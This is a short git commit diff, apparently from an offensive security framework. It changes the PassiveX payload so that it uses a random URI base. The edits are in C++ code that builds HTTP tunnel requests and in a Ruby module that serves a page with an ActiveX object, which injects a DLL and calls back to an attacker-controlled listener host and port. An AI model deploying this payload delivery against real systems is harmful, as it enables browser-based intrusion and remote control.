better support for random uri base in px

git-svn-id: file:///home/svn/incoming/trunk@3331 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
Matt Miller 2006-01-07 20:11:21 +00:00
parent 2f4467ebcd
commit 8e72f20095
3 changed files with 3 additions and 3 deletions

Binary file not shown.

View File

@ -439,7 +439,7 @@ DWORD HttpTunnel::TransmitHttpRequest(
// Construct the full URI
if (HttpUriBase && HttpUriBase[0])
_snprintf(FullUri, sizeof(FullUri) - 1,
"%s/%s",
"%s%s",
HttpUriBase, Uri);
else
strncpy(FullUri, Uri, sizeof(FullUri) - 1);

View File

@ -179,7 +179,7 @@ module PassiveX
[
OptAddress.new('PXHOST', [ true, "The local HTTP listener hostname" ]),
OptPort.new('PXPORT', [ true, "The local HTTP listener port", 8080 ]),
OptString.new('PXURI', [ true, "The URI root for requests", "/" ]),
OptString.new('PXURI', [ false, "The URI root for requests", "/" + Rex::Text.rand_text_alphanumeric(32) ]),
OptPath.new('PXAXDLL', [ true, "ActiveX DLL to inject", File.join(Msf::Config.install_root, "data", "passivex", "passivex.dll") ]),
OptString.new('PXAXCLSID', [ true, "ActiveX CLSID", "B3AC7307-FEAE-4e43-B2D6-161E68ABA838" ]),
OptString.new('PXAXVER', [ true, "ActiveX DLL Version", "-1,-1,-1,-1" ]),
@ -313,7 +313,7 @@ protected
resp['Content-Type'] = 'text/html'
resp.body =
"<html>" +
" <object classid=\"CLSID:#{datastore['PXAXCLSID']}\" codebase=\"passivex.dll##{datastore['PXAXVER']}\">" +
" <object classid=\"CLSID:#{datastore['PXAXCLSID']}\" codebase=\"#{datastore['PXURI'] + "/"}passivex.dll##{datastore['PXAXVER']}\">" +
" <param name=\"HttpHost\" value=\"#{datastore['PXHOST']}\">" +
" <param name=\"HttpPort\" value=\"#{datastore['PXPORT']}\">" +
" <param name=\"HttpUriBase\" value=\"#{datastore['PXURI']}\">" +